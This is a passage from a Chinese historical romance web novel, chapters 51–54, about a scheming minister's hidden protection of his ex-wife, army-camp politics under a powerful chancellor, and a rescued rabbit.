她扑过去抱住人,沐江恩也温柔地安慰着她。 而此时藏在树间的云影,手中捏着几片尖锐的刀片,方才如果不是沐江恩出现得及时,那几片刀片,已经扎破了那几个流氓的喉咙了。 50-60 第51章 他有命,救下她后不可让她发…… 看着沐江恩将人带走, 云影才悄悄返回那个地方,将那些被沐江恩好心放走的流氓,一刀解决掉, 扔进了河里。 云影把戚央央扔在这个地方等沐江恩来捡,并不是他嫌央央碍事不愿带着她, 实在是 主子有命。 主子命令他们说, 救下戚姑娘之后, 不可让她发现是他救的。 因为, 主子说:“她这人脑子是有坑的,认定的东西就转不过弯来了。” “她一旦认定我是十恶不赦的话, 不管我再做什么,她都只会往十恶不赦上想, 说不定还会因此曲解人的好意,把她扔给沐江恩是最安全的了, 起码她不会因此将自己在军营中蒙受的苦难, 都归结给他。” 他失落地道。 但残影却说, 其实主子是希望戚姑娘能开心些, 看见沐公子,是她现如今最开心的事了。 不出所料, 戚央央看见沐江恩,开心得像个孩子似的, 先前一切遭遇都仿佛被她抛诸脑后,走起路来步调轻快欢乐,倘若不是云影都知道, 根本没法想象一个姑娘独身赶夜路逃跑,又被掳回军营,与一个腰大膀圆的男人近乎生死拼搏完, 还能笑得出来。 沐江恩问她这段时间可曾发生过什么,她只是星星眼望着他,笑得一脸幸福道:“那些都过去了,不要紧的我们别提了,重要的是,最后还是你救了我,谢谢你,沐大哥。” 他见她没有任何难过异样,便不再追问,笑着替她把鬓发捋好,笑道:“以后我会护好你,不会再把你弄丢了。” “嗯,好。”她开心道。 云影目送他们步出靖安县,便离去了,往后有沐将军护着,倒是用不上他们,他的任务便算完成了。 此时裴陆戟在军营,残影趁夜深乔装进营,前来向他禀报。 “戚央央离开了吗?” “回禀主子,已经离开,那天是刘校尉纵容容炳做那些事,但容炳也已经被云影处置了。” “好,干得不错,退下吧。” 残影犹豫了一下,“主子,军营豺狼虎兽多,主子确定不让我和云影在附近守着吗?” 裴陆戟身体上缠满纱带,只能用手捂着腹部伤处支撑着坐起,淡淡瞟了他一眼道:“他们是虎兽,难道我就不是吗?” “快下去命人撤退吧,秦道忠的人尚在,勿不可让他们发现你们的踪迹。” 戚央央因为写书的事已经被朝中贵人盯上,不能再待在安东县,只能随沐江恩回封州,那里是荆王的地头,京中人士尚不敢将手探到那里。 但问题是,央央的手稿丢了。 “沐大哥,虽然我知道可能很为难,但无论如何,我都想再回去那个地方找找看,那些人只是要我的钱财,那些手稿他们大概不会看的,可能看见了也会随手扔在那附近?” 沐江恩向来是尊重她的,她要折回那家黑客栈,虽说得花耗不少时间,也有可能遇上一定的危险,但她说了,那手稿是对她而言十分重要的东西,他虽然不懂,但他也尊重。 “好,那我们就赶紧去了再走,走旁边那条小道会快些。” “谢谢你,你人真好,沐大哥。”央央满心感激。 一行人很快折回边界线附近的客栈,却愕然发现那位女掌柜和毛贼已经死了,尸首被吊在檐梁,死状惨淡,尸首似乎已经挂了有些时日了,依然呈现风干痕迹。 央央吓得“啊”一声扑进沐江恩怀里。 那些时日,云影连人带轴跟着戚央央转,差点就把她手稿的事给忘了,等他想起来还有这茬的时候,戚央央已经返回看见了那两具尸首。 本来不把尸首处干净,是为了给那些附近的匪徒一个警惕,上得山多终遇虎。 云影连忙将好的手稿放在客栈外的小道上,然后不等人发现他,就立马离去。 沐江恩底下的人搜索了附近,发现手稿时呈给他,他把手稿拿给戚央央:“小央卿卿,你看,是不是这些?” 戚央央检查了一下,发现手稿完好无损,可是,照她当时包袱那样掉下去,不可能书页都那样完整。 “沐大哥我们先绕一段路吧,我觉得我们可能被跟踪了” 见她如此神色,沐江恩便也猜到了一些,“是不是他的人?” 戚央央一愕。 “其实,你不说,我也知道。先前我找不到你,不管用尽什么办法,就是找不到,我就去找他帮忙,而他对你的踪迹竟了如指掌,所以我想,这段时日,他肯定是有派人守着你。” 沐江恩道。 “你不肯告诉我这段时间你遇到了什么困难,是不是觉得我不如他能力强,觉得告诉我也没有用?” “其实我也知道,他是一个很有能力的人,你若是” “沐大哥!”戚央央打断他,“求求你了,以后别在我面前再提他了好吗?” 她竟一脸惶惧:“我我实话说吧,他这人我以前误以为他是你,以为是他救的我,对他有先入为主的好感,这份好感支撑着我接受他所有的坏,可是现在” “其实我特别的害怕,也特别惊惧,我害怕我被他盯上,甩不掉了,而我又确实挺厌烦他的,不知为何。” 沐江恩深深地看了她一眼,见她惶惑不知所措的样子,不由地深深叹息了一声。 戚央央和沐江恩在靖安县边界一带绕了一些路,再往封州出发。 与此同时,靖安县军营中,裴陆戟的帐里,被扔出好几个如花似玉的姑娘。 他披着发,手持长剑,走出来那下满脸冷戾,吓得那些姑娘花容失色,爬在地上哭。 刘校尉正在自己的营帐里白日喝着大酒,一柄锋利的刀刃刺进帐子来的时候,他吓得懵了。 逃到帐子外的时候,他软了双腿,跪在地上哀求:“大大司马我我不是已经给你赔赔上几位美貌佳人了吗?你你别杀我呀” 若不是他提,裴陆戟本来也不想提这桩,既然他提了,他倒要跟他好好清算一下。 “本来说好了,要人毫发无损给我的,可现在人也不见了,刘校尉难道不应该履行承诺,吗?!” 他一剑横在他的项上人头下,刘校尉那一刻吓到尿失禁,“大大大大大大司马饶命!可可可可答应你的是宋将军,跟跟跟跟卑职无关啊,这” 刀剑已经隔开了他的皮肤,他用手摸出了一滩温热湿滑的鲜红,吓得差点昏死。 “救命!!救命啊!!!杀人啦!!!” 宋敞等人闻声而来,赶紧拉开了二人。 “大司马这是要做什么?” 宋敞背负着手,站在裴陆戟面前道。 “将军可曾记得,裴某出发剿匪前,答应过什么?” “当然记得,”他话锋一转,道,“可那是要大司马剿匪成功作为条件的,西面匪冦虽然已清,但最后是大司马清的吗?” “倘若不是刘校尉担心大司马的安危,怕那些小兵不济事,让人去请秦先生带顶好的杀手过来,大司马怕是已经死在匪冦窝中了。” “如此说来,你上回吓到了刘校尉,这回又吓到了,人刘校尉可比你年长,资历又深,你作为晚辈的,是不是应该跪下来给他道个歉啊?” 刘校尉一听,吓得腿软道:“不不不不不必” “刘校尉!”宋敞叫住他,“你是长辈,有容人的大度,但秦相说了,来我军营,就得守我的规矩,哪怕他是京城来的官,不照样是小辈吗?” “我今日,总该教教这些做小辈的,要懂得如何尊敬长辈。” 他拍拍手,让手下呈出一张绣工精美的青山江河绣帕。 那是戚央央给沐江恩绣的,为了从他这儿弄来绣样,不惜委屈自己同他虚以逶迤,花费大心血才完成的,她一直将帕子妥善收藏在身上,睡觉吃饭都带着,丢了别的东西都不肯丢掉它。 裴陆戟捏紧了拳头。 “宋某没猜错的话,应该是大司马找人救出了那位姑娘吧?” “那位姑娘就是戚氏,是大司马刚和离的夫人,是吧?” 之前千辛万苦误导苍龙杀手,甚至还设计了六皇子,没想到终于还是被识破了。 既然事情已经捅到秦相那边知道了,那么他就会进一步怀疑那天出彭州城时,为戚氏出手的杀手,便是他的人。 裴陆戟失声笑了,笑得有些自嘲,又有些颓败。 “你夫人带着荆王的手下,在靖安县边界恰好被我的人看见,便好生给大司马送回来,怎么,大司马就不想见见你夫人吗?” 宋敞威胁道。 “只要你跪下,给刘校尉道歉认错!” 居庙堂之高,天子身侧高高在上的权臣,没想过有朝一日自己会被个女子,弄至如此惨况。 果然,情爱之事但凡沾个边,就会无比倒霉。 他笑得眼眶发红,用手捂住腹部伤处,颓丧道:“没想到啊我原来的夫人跟我和离后,立马跟情郎跑掉的事,这下可闹得人尽皆知,连秦相都知道了,哈哈哈” “我没用啊,成婚五年了,始终没能讨得她的欢心,她还是误会我,爱上了别的男子,要跟我和离” “可打从我十三岁开始,她就出现在我的生命里了,我生病被人嫌弃、被退婚、被无情奚落,被排斥的时候,身边始终站着一个她。” “她明明曾经那样爱我,可感情还是说变就变了” “我窝囊啊,哈哈,她都说了不再爱我了,都说要跟她真正的救命恩人一起了,可我始终不死心,还追着她来到了此地果然还是被她抛弃” 在场中人都傻了,宋敞也听得动容了起来。 世人皆说,是戚氏女不要脸狂追在裴世子身后,却不知晓,裴世子只不过是传出了一次要纳妾的传闻,那戚氏女就心硬如铁,毅然和离,而裴世子竟痴情如斯,将她追到来这里。 原先秦相还怀疑裴世子可能同荆王有勾结,可现在,好像一切事情都说通了,反倒是硬说裴世子是荆王走狗的话,就有许多事说不通了。 就在这时候,军营外有驿兵来报,英国公派人来给世子传话。 “要传什么话?”宋敞问。 驿兵回道:“英国公有命,裴家有愧戚家和甄家,让裴世子定当尽力护戚氏安全,否则,国公有言,必将逆子除名族谱!” 第52章 他慌张失措,刚走到一半又退…… 先前倘若裴陆戟为救戚氏, 不惜与秦相作对,是说不过去的话,现在再加上有英国公以除名族谱逼迫这一条, 就比较合情合了。 英国公在京城出了名爱妻,当初戚家甄家获罪, 裴世子不惜给父亲下药, 强行将戚氏甄氏赶出家门, 老父亲醒来恼恨此子是人尽皆知的事。 裴陆戟在军营遇前妻被欺, 倘若不挺身而出,他日在同僚人眼中, 就会沦为无能之辈,被人耻笑, 都说男人都是好面子的,有时候豁出命去挽回面子的事, 也不是没有。 所以他为了戚氏去剿匪, 实则情有可原。 再观英国公得知了前儿媳有难, 快马加鞭给逆子传来话, 而裴大司马当场像被看破了一脸难堪的样子,也不得不让人笃信, 情深是假,用来掩藏自己惧怕被父亲除名, 才是真。 这一连串事件下来,好像裴陆戟也没什么好怀疑的了。 裴陆戟听到驿兵传话那刻,笑得更加破罐子破摔了。 “宋将军刚刚是让我跪下道歉是吗?好反正都这样了, 也没什么好丢脸的了,哈哈哈” 他笑得没个正形,三两步走到刘校尉面前, 迎着校尉惧怕的目光,干脆利索地跪倒下去。 不止跪下,还连续磕了好几个响头,把自己磕得额头都破了,流出血,灰头土脸的。 随后,他又笑着看向宋敞,“如此,宋将军可满意了?可以放我前妻了吗?” “要么我也给宋将军跪下磕几个头?” 从没见过如此放浪形骸不顾颜面之人,大概他是真的怕极了被英国公除名吧。 毕竟在朝堂能爬上高位的,除了牢牢扒拉住秦丞相的裤腿,首先还得保证不被家族抛弃吧,不然一切都是白谈。 “算了,放了他们吧。”宋敞将那手帕嘱人还回去放人。 裴世子一心要依附秦相可以拿捏,但英国公正直不阿油盐不进却不是他们能得罪的,就算秦相想除掉戚氏,也不能在明面上除掉,得找个暗暗的机会。 可裴家既然有本事将戚氏从军营弄走,想必也派了人一路盯着她,若是不放人,怕被英国公抓住把柄,告到圣上处,会给秦相带来大麻烦。 看来短时间内,这个戚氏都是动不得了。 裴陆戟在军营向刘校尉下跪磕头的事,没过多久就被传得整个军营皆知。 可却没多少人敢轻看他,路过他身边时,还是恭恭敬敬行礼。 就连被下跪的刘校尉,如今在军营一看见他,都吓得绕路走。 那天沐江恩和戚央央被抓,是因为宋敞将李明砚吊到了悬崖上,引沐江恩束手。 李明砚对沐江恩的救命和提携之恩,一直是他撇不掉的情义,对于李明砚的生死,沐江恩有天然负责到底的责任。 那天他已经安排好一切,让下属护送戚央央避开那些人马一路往封州,而他则领着少数人上前替她争取逃跑的时间,并想着能否尽力救下李明砚。 可戚央央不肯抛下他不管,沐江恩落网没多久,戚央央折回来救他,没多久也落入陷阱。 二人被拘于山头上,央央随身的帕子被夺走,没多久突然又被送回来,并且释放他们,这让二人感到莫名其妙。 “他拼命往前为你争取时间,助你逃离,可你竟然不肯走,还回过头来救人,你们二人,可有情?” 那名玄衣人突然这样问。 戚央央闹了个大红脸。 见她这样子,玄衣人就什么都明白了,果然如那位裴世子所说的一样,二人是情侣关系,他可以回去禀报秦相了。 与此同时,裴陆戟在营帐中独自抚起了琴,残影应琴声而至,悄然入帐。 “果不出世子所料,秦相的人特意考验了一下戚姑娘,见二人关系果如世子所言,现下,应是对世子你放松戒备了。” 残影不知道,他上报的这个好消息,比杀了裴陆戟还要让他难受。 一只雪色毛球一样的小家伙跳到他脚边,裴陆戟停下抚琴,伸手将毛茸茸的家伙抱上膝腿。 “得亏世子想得周全,出发剿匪前就让属下派人快马加鞭给英国公送信,如果有情况发生,就请他发来这么个口信,世子果然料事如神。” “现在一举两得,既剿灭了西边盘踞在莱伊山上的匪冦,又暂时打消秦丞相的疑虑,圣上那边发来密信,问世子还要多少时间。” 裴陆戟把小兔子放在腿上,任由那雪色一团的东西将他衣袖啃出一个个洞。 “这小东西,还挺不怕人。” “世子” “你帮忙回复圣上那边,他要那么急的话,大可像当年世家那样,随便找个由头,弄个无头案,然后一刀,切下去。” 他说着,还真拔出了刀匕,将刀刃横在兔子的雪色脖子前。 可那小兔却仿佛一点也不怕他,皱起鼻子往锋利的刀刃上嗅啊嗅。 这可把裴陆戟逗乐了,把刀收起,伸手摸了摸兔子毛茸茸的头。 “你和某人可真像。” 不知是不是残影错觉,他觉得主子在抚摸兔子的时候,眼神都变得格外温柔起来。 · 现在,裴陆戟每天都穿粗布衣在军营后方的荒地耕作,日出而作日入而息,看起来倒是真像被磨平了棱角,安分踏实地留在军营里,任由秦相的人差遣。 “大司马,其实你本为裴氏世家,又是英国公世子,身份高贵,又何必要来到这种边陲困苦之地来受罪呢?” “光是你先祖为裴家打下的功勋,就足够你子孙十八代吃穿不愁了,在陛下眼里,你们也有着不可撼动的地位,进宫谁不给你们姓裴的几分薄面啊,又何必再为名利,委屈自己至此?” 宋敞偶尔会去军营后方的耕作地,看他劳作,顺便跟他说几句掏心窝的话,“说实在的,只要你们姓裴的能够安分些,别干涉朝堂之事,想必丞相大人也会给你们几分薄面的,你就回京随便捞个清闲职位干干就行了,何必做到这个程度?” 裴陆戟是个文人,有着文人那种优雅到骨子里的矜贵自持,他一双握笔握剑的手在这段时间里挥锄头、泡在泥土里弄得粘满了泥,长出了厚茧,变得粗糙,可手型却依然秀美。 大多数时候,他都表现得雅自矜持,有区别于凡人的高洁典雅的气质。 就连挥动一个锄头,做些泥腿子做的事情,都能将锄头挥得有别于凡人,就像是天上的谪仙在云雾间种植仙桃灵草一般。 面对宋敞的出言挑衅,他只是淡淡地一回眸,就又继续劳作了。 可宋敞就是最看不得这种自持矜贵之人,他要不沾一片人间烟尘,他就偏不想如他的意。 “大司马终日在这里劳作,大概还不知道,今日军营来了两位贵客吧?” “那可是秦相费尽心思,找荆王借来的人。” 临晚时分,军营附近下起了大雨,这是一场入秋后下的最大的雨。 雨大得无法再耕作,裴陆戟只得淋着雨先回营帐修整。 路过一个新扎的营帐的时候,里头帘帐卷起,他轻轻往里落了一眼,才仅仅一眼,就又继续往前方他的营帐去。 今日立秋雨,阳气渐收,阴气横生,冷得颇是彻骨。 回到自己营帐中的时候,才看见自己的那把漆木奔雷古琴已被摔折在地,地上许多木头的碎屑,还有一并被砸碎的茶壶茶盏,被弄得湿漉漉已经无法再睡人的床褥子。 他不由笑了,见他的帐帘外鬼鬼祟祟站着一个人,把人唤进来道:“刘校尉,进来吧。” 刘校尉唯唯诺诺地进来,看着大司马稳坐在一片狼藉中,端坐如松枝的样子,他就益发心虚起来:“大大司马卑卑职只是听命行事,还还还望大司马不要” “宋将军让你做的?”他坐在矮几前,见被磕破了杯沿的茶盏里还剩半杯冷茶,恰好他劳作回来早就渴了,便端起半杯破茶盏灌了下去。 嘴唇挨贴着破损的地方,茶味的苦涩还微微泛了丝血的腥味,味道,不怎么好。 他蹙了蹙眉。 见他蹙起了眉头,刘校尉吓得魂魄都飞了,慌忙跪下道:“卑职来清,卑职立马就给大人清” 裴陆戟伸手拦住他,“怎可害你,在你主人面前失职呢?我待会自己来吧。” “毕竟,我只是需要多花点功夫清扫而已,而你,却有可能因此被主人宰杀了。” “只是”他轻轻抚起那把断成两截的漆木名琴,“这是我准备要送给秦相的千古名琴,千金难买,原本在京城的时候没时间,打算带来这边调好音色再寄送过去的,可现在” “你去同宋将军说下,这下该怎么办吧。” 刘校尉慌不择路出了营帐。 营帐又重新落下,营里昏暗下来,他用帕子擦干净手上的泥污,打算去衣箱取件干净衣裳换好再打扫,却没想到,衣箱打开,里头的衣物也尽然泼了茶墨。 他忍不住又笑了。 他支着额笑,一边在地上拾捡那些,被踩烂了的书简,那些都是从他年少起就陪伴了他不少时间的孤本,有些还是小时候崔氏送给他启蒙用的典学,这些都是兵学兵书,他带来军营是打算多踅摸,没想到现在竟被毁了,看样子也难以再修撰回来了。 拾捡这些破书简的时候,他突然看见一团雪色瑟瑟地躲在柜子下。 他笑着朝那团白绒招手:“小东西你怎么躲这里来了,过来。” 小兔子胆小怯懦的,却一点也不怕他,经他这么一招手,随即一跳一跳地来到他手边。 当他看见时突然一愕,一下子抱起那团雪绒。 难怪它跳过来时的动作僵涩,原来腿筋处被半截断掉的竹简,刺了进去,流了不少血。 “你等会,我这就给你找药” 他慌张失措,赶紧把它揣入怀中朝帐外去,刚走到一半,突然想起刚刚这附近新搭建的一个营帐,又退却了。 可小兔浑身抖动着,似乎是疼得很厉害的样子,他再顾不得,冒着雨跑了出去。 这下,迎面撑伞走来的一双神仙眷属,就站在帐外,正好看见了一身狼狈,浑身被雨淋透的他。 第53章 他没敢睁眼看她 “世世子?” 戚央央讶异出声。 她身穿一袭杏花黄的马面裙, 片片折子上都缀着鲜亮颜色的绣花,于秋雨中如期而至,美得仿若秋日下凡的神女。 雨打得眉睫发沉, 他没敢睁眼看她。 其实在她和沐江恩来军营之前,他就已经料到了秦相那边不会轻易放过他。 之前秦相怀疑他偷偷帮荆王做事, 想暗中扶持六皇子, 怕他同戚氏和离是假, 想透过戚氏同荆王联系是真。 但后来查过, 戚氏和那沐将军的关系,果真是像他说的那样, 可秦相还是不能放心。 不能明里杀死戚氏的话,最妥帖的方法就是把她摆在离自己的耳目最近的地方, 同时把沐江恩也弄来,也方便观察他的反应。 这些裴陆戟不是没有想过, 只是没想到秦相他果真做到这一步。 秋日雨水淅沥、逐渐变大, 泥水顺着他的脸颊, 滑过脖颈, 一路从那粗糙的衣衫边缘滴落下去。 “世子你有必要为了讨好,把自己作践成这样?” 沐江恩不是没听闻裴尚书被丞相下放至边陲军营的事, 只是没想到他能为了追逐高位,把自身作践成这样, 去讨好丞相。 何苦呢 裴陆戟脸颊滴着水,墨发紧贴,浑身都湿着, 可怀里的一团颤抖的雪绒却被他护得严丝密缝,安放在胸口一点也没有弄湿。 见胸口内的小家伙双腿又搐了搐,他没会那二人, 转身又跑进雨幕。 他找到刘校尉,神色可怕地揪住他衣襟。 “大大大大司马,饶命饶命饶命哪!!卑职立马” “去给我找些治腿的伤药!快!!”他急得有些狂躁道。 刘校尉吓得赶紧冒雨去军医那里寻,可军医今日不在,恰巧营里的伤药也用完了,如今下着大雨,山路湿滑危险,进城购置的话,一来一回怎么也得明日了。 于是他又返回告诉大司马,若想不耽误时间,只能让他亲自进城一趟。 裴陆戟二话没说,从他那里取了蓑衣斗篷,取了马匹就直冲出军营。 他骑马飞奔出军营的时候,戚央央刚好进营帐,在门帘缝隙处看见他策马的身影。 他们今天第一天到,沐江恩在二人的营帐里搭了两张舒适的床,另外一张还可以简易地折起,收在床底。 沐江恩朝她招手笑道:“小央卿卿,这是我做的床,你过来看看结不结实?” “秦相明面上跟王爷请求借人来静安县军营指教兵法,但却把你我都叫来了,还威胁,暗示倘若我不带上心上人,就会来调查我心上人身份是否朝廷逃犯,而只要我带上,就会将你当成军属家眷款待,这才逼得此行不得不让你跟我一同来此假装情侣,谁知他们又只给安排一个营帐。” 沐江恩在那边牢骚,戚央央听着他的话,却莫名红了脸,赶紧将身子背转过去。 “心心上人”她眼睛一亮一亮,偷偷回味着。 “是啊,我感觉我们好像踩进了一个什么陷阱里似的,之前他们用李明砚逼我入局,又对我们说什么奇奇怪怪的话,然后认定了我们是是一对,”说到这里,铁汉子也免不了不自在地用手指挠了挠脸。 “小央卿卿,我是绝对没有跟那些人胡乱说话毁你名节的,你千万不要误会啊是他们不知道怎么着” 二人同在一个营帐里,气氛就显得格外暧昧不明。 此刻对方都各自面对着低下头,谁也再没有话,秋雨后清新的风入帐,也打不消这帐内的热度。 而现在的裴陆戟,大概已经快抵达山下,但却在下山的过程中,山坡发生了一次小小的倾塌,马的半边身子被埋在湿土里。 他捧好心口的小兔,将那马拉扯了几下没拉出,坡道有轰鸣声,眼看着又有泥崩了,他只能舍弃了马,护着兔子赶紧逃。 却不料,在跑的过程中,小兔因为惊惧那些轰隆声,吓得从他手边滑落下去。 他不见了小兔,慌得赶紧沿路溯回,泥土崩塌的声音又频繁了,他步伐加快,越发焦急。 “小东西,小东西你在哪??”他急得脸上微红,也不知是雨水还是汗水,不敢大声叫,怕引起又一轮泥崩,只得沿路不断地寻。 终于,被他在一棵塌倒的枯树旁发现那团雪色的踪迹,那小家伙小小一团,腿上落了伤,只能胆怯地躲在枯树的枝丫下。 “原来你在这里,可真不让人省心。”他低柔地骂着,伸手要去抱起它。 不料,在这时候,半山腰处,又一股泥石流如猛兽般,伴随隆隆声汹涌而至。 上一个泥石流落下来的时候,已经将那匹马活埋进了土里,这一次,眼瞅着就要躲不开。 他不该为了一只小东西,把自己的命搭在这里的,但是,当云影把它送来他身边时,他仿佛又看见了当年拨开石棺门,所看见的那道光。 他抱紧了小兔子,与泥石流拼速度,与天拼命! 轰隆隆一声巨响,沉重而带着窒息感的泥土顷刻将他包裹,他感觉血液一下子被捂得暖了起来,身体被沉沉地覆盖着,他感觉自己仿佛重回母体般,周身都轻盈了起来。 窒息感是很难受的,他像一支被埋进土里孤独生根了许多年的竹子,明明惧怕黑暗,却不得不在黑暗里寻找得见天光的路。 外面的雨再次哗啦啦下了起来,山雨飘摇,山水间的一切都在这场风雨里被刮得东倒西歪。 雨水慢慢洗刷出一点东西,泥水顺流而下。 泥丘旁的露出的手动了动,再动了动。 小兔子被送进城门内的医馆时,尚有气息在,可大夫看了看面前的男子,却说:“这位公子,似乎你的伤势比较严重啊” 可裴陆戟却红着眼胁迫那大夫:“先救它!” 大夫:“” 这位大夫行医生涯那么多年,从来都没有遇过有人带上一只能当菜肴的家畜过来,要求先救家畜的。 死了大不了趁新鲜红烧一顿得了,犯得着吗 可他并不敢在这位公子面前瞎说,他行走行医江湖这么多年,还是分辨得出哪些人好惹,哪些人惹不得的。 这位公子一身落魄的衣着,可却并不能遮盖住他身上的高贵之气。 倘若这只家畜一不小心只能沦为盘中餐之用了,说不定他还惹一身是非。 所以他打早就跟裴陆戟挑明道:“公子,我这医馆是医人,不是医” 他盯了盯那挣扎不断地兔子,“我用药只能按人的再适当减量去用,但是不保证能治得完全好啊” 裴陆戟道:“那你们这里,可有治兔子第一好手的大夫?” 大夫:“” “这”他为难道:“在我们这里兔子不是自家养来偶尔开顿荤解解馋的,就是要论斤卖给别人的,甚少” 裴陆戟听明白了也不废话,叮嘱那大夫赶紧医治。 · 裴陆戟在镇上待了好几天才回营,回来的时候又带了一身伤,身上绑绷带的地方也多了。 戚央央看见他带着伤,还被宋将军阴阳怪气地责怪,说要上报给秦相,他不服军纪私自离营,要让秦相革除他的职务。 裴陆戟当下就笑了,他拎出钦天剑,“砰”一声撂到他面前,“这把钦天剑是丞相在圣上处拿来给我的,你可知道为何每次朝中有文臣下地方军营,圣上都必须赐剑?” “是因为,某些地方武将仗着自己是地头虎,就敢对朝中比自己高品阶大臣动武,天子认为,下派的中央大臣乃代表了圣上的颜面,你们但凡对中央朝臣不敬,就相当于藐视圣上。” “宋将军是认为,秦丞相的官职大,能大得过圣上去,是吗?” 宋敞一听,当下就拉着脸跪了下来,“卑职不敢。” “幸好你不敢,”裴陆戟言笑晏晏,“要不然,我还以为,秦相现在当真没把圣上放在眼里了。” “你此举险些害得丞相大人丢失名义,自己下去领三十军杖吧。” 宋敞愣了愣,咬牙握拳死死地盯着他,却不能拿他怎么样,只能憋屈地下去领军杖。 而裴陆戟在大家面前惩戒完宋敞,该干的农活还是独自拖着锄头去干,平时在军营还是大多干些让人看不起的粗活一类的,衣裳自己洗,吃饭也自觉地吃最后。 只是,现在每次他拿起锄头要去荒地时,有部分军士会自觉地跟上,衣服浆洗完也有人帮忙晾晒,吃最后的剩饭也变得饭热饭菜丰富起来。 有一次戚央央在军营伙食堂遇见他来打饭,他的右手有些不利索,端的汤碗都洒出来一些,见他坐在那里,手持勺子吃饭时,那手怎么也送不到手边去,饭便也洒了出去。 戚央央父兄都是将领,所以很清楚军营中所有粮食都是百姓辛苦栽种,她心疼那些浪费的粮食,同时,裴陆戟这人再惹人烦厌,毕竟也救过她,做人也不能做得太绝情。 于是,她端上饭菜坐过去。 “世子,朝堂之事我是不懂,但我觉得嘛,做人做事最重要的是要对得起自己的心,你觉得你现在累得手都扒不了饭的样子,你确定你为了权势,如此逢迎讨好,确定是你想要的吗?” 裴陆戟低着头扒饭不说话,从他决定走这么条路开始,一切都被他料到、算到了,唯独没料到自己最狼狈、最难堪的时候会被她看见。 “饭不想吃了的话,请赶紧走吧。”他又低头抖着手扒了一大口饭,今早上到现在,他在地里劳作,早就饿慌了。 眼看着他手抖得又把一部分米饭落在桌上,他倒也坦荡,直接就将桌上洒落的,面不改色地用勺子拨回碗里,继续吃。 “你现在看见了,是不是觉得当初自己瞎了眼,竟在我这边浪费了这么多年。” “好了,你现在看清楚可以走了。”他低声道。 央央她并没有任何瞧不起、或是谴责他的意思, 她道:“其实我知道,那天若不是我执意要离开彭州,就不会中埋伏,如果我不是中埋伏,你让你的暗卫前来营救,就不会” “我想,大概是因为那个被揭下面罩的暗卫,你才会变成现在这样吧?我没有要嘲笑,或者看不起你的意思,我只是真心地觉得,你可以换一种活法,可以不必再追着权势走,因为那样不值当。” 第54章 他笑得有些奇怪,后槽牙怎么…… 戚央央说着, 便主动接过他的勺子,舀起一口饭喂到他嘴边。 裴陆戟愣了愣,鬼使神差般微张了唇。 就在这时, 沐江恩来了,他看见戚央央在给人喂饭, 什么都没问就很自然地接过勺子, 笑道:“小央卿卿, 你早上也没有好好吃饭, 现在自己快赶紧吃,我来喂就好。” 沐江恩一来, 戚央央立马就变得不同了,她笑容变多了, 笑着点了点头:“那好,你来喂, 我倒看看你会不会喂人, 人家裴世子是斯文人, 吃饭可不像你大口大口的。” “行, 那你看我的。”沐江恩温柔地笑,然后对裴陆戟道, “世子,上两回见面都急急忙忙的, 也忘记跟你说声谢谢了,谢谢你帮我查出了泄露小央踪迹的叛徒,也谢谢你救下小央。” “我知道, 你以前对小央有些误会,你们成亲的那几年过得很不愉快,但那些都是过去的事情了, 我希望你能”他边说话,边把饭递到他唇边。 裴陆戟冷笑一声打断道:“我现在是快要死了,还是手断了?需要你们来喂饭?” “我就算手没有了,只能像条狗一样趴着吃饭,那也是我的事,用不着你们。” 他冷言道。 “还有你,戚央央,你少跟你心上人在这里秀恩爱了,我不需要你的同情。” “你觉得我是权势的走狗,那我告诉你,没有权势,你根本什么都干不了!你知道在这世界上,有权势者制定世界的规则,而无权无势的人,只能在权势者定造的规则里艰难地沉浮。” “你以为自己躲起来写几本破书,就能改变命运,改变现实了?我告诉你,那只是你懦弱,你在逃避而已。” “弱肉强食的世界,从来就这么残酷,制定规则的上位者倘若德行不配,私欲醺心,底下的人,只能成为鱼俎。” “你要当鱼俎,你要瞧不起我,那都随你的便!” 他甚至在她面前,直接把手伸进食碗,抓了几口饭塞进嘴里,塞得满满当当的,然后转身离去。 戚央央看得瞪大了美眸。 裴陆戟几乎是不带停顿地,快步走回自己的帐子。 回到自己的帐子后,他委顿下来,背靠在木柜边,坐了下来。 一只复原还算不错的小兔,一瘸一蹦地来到他身边,他伸手一把捞了过来,抱在怀里,轻轻揉抚它的圆脑袋,懊恼不已道:“我好像又对你说了语气很重的话了” “对不起,我明明说过,不再伤害你了,可还是还是” 俊美的男子眼尾轻颤,眼眶变红,小兔歪歪头,轻舔了舔他手。 戚央央坐在沐江恩旁一边思考着一边吃饭,吃着吃着,突然手一敲手心道:“沐大哥,我觉得世子他说的好像很有道。” “我躲起来写几本书,就妄求同权贵作对,好像也太不自量力了,难怪会被人盯上,现在还连累你一起被困在这里,如今我们在明,别人在暗,我们压根就不知道躲在暗处的人,即将会对我们做些什么。” “我好像不能再这么软弱无能下去了。” 她痛定思痛道。 “可是”沐江恩皱眉,“你一个小女子,除了这样,还想怎么做?” 戚央央看着他,一握拳,“要么,我们先想想怎么拒绝那个秦相,先离开这里,然后” “然后” “我女扮男装去念书,然后找王爷帮忙,找人推荐进朝廷为官,然后就可以帮我爹爹和哥哥们翻案了。” 沐江恩:“” “怎么了,你觉得这样不可以吗?” “你想女扮男装为官可是你想啊,要是你被人发现,这个是要杀头的大罪,你姨母已经没有其他亲人了,她受得了你再这样吗?” “而且,你一个女子要为官,你知道读一本律法书需要花多少时间吗?你要入朝为官,最起码要某一方面有过人的才学,然后找到一定地位之人进行推荐,可是你短时间内如何用一个全新的身份在哪个地方,做什么杰出的事情让举荐人可以举荐你进国学念书,然后入朝为官呢?” “即使你入了朝,面对那些官场上尔虞我诈的事情,你又有多少把握能升迁上去呢?许多人终其一生,最多只能去到第一步,举荐成功进学以后,最多也只能分得一个地方的小官,极少机会能上升上去。” “你与其这么辛苦周折,还不如留在王爷那里等待机会。” “可是朝廷现在不是总忌惮王爷吗?连带圣上也不怎么待见王爷了,王爷就算想帮我父兄翻这案子,现在这情况来看,我还真不如求裴陆戟呢,起码他手里还握有翻案需要最起码的证据。” 戚央央说到这里顿了顿,神色凝重了些。 沐江恩叹了叹气,“是啊,世子这人有手段,有才能,如今一时的蛰伏,但他日必定还会重回紫禁的。” “要不这样,反正我已经被王爷派到这里来了,那从现在开始,我就跟着世子干,我相信,只要我努力些,肯定能得到他的认同,这样等他以后重回高位,兴许他会答应帮忙翻案,你看可好?” 戚央央觉得,就连沐大哥也可以为她父兄的事踏出如此有用的一步,那她也不能光缩在暗处随便写写字便完事了,她得做得更多,才能无愧于心。 翌日,她就用尽了身上所有的钱,跟军营伙房要了一些米和糖,借用了炊具,自己磨粉做起了糕点。 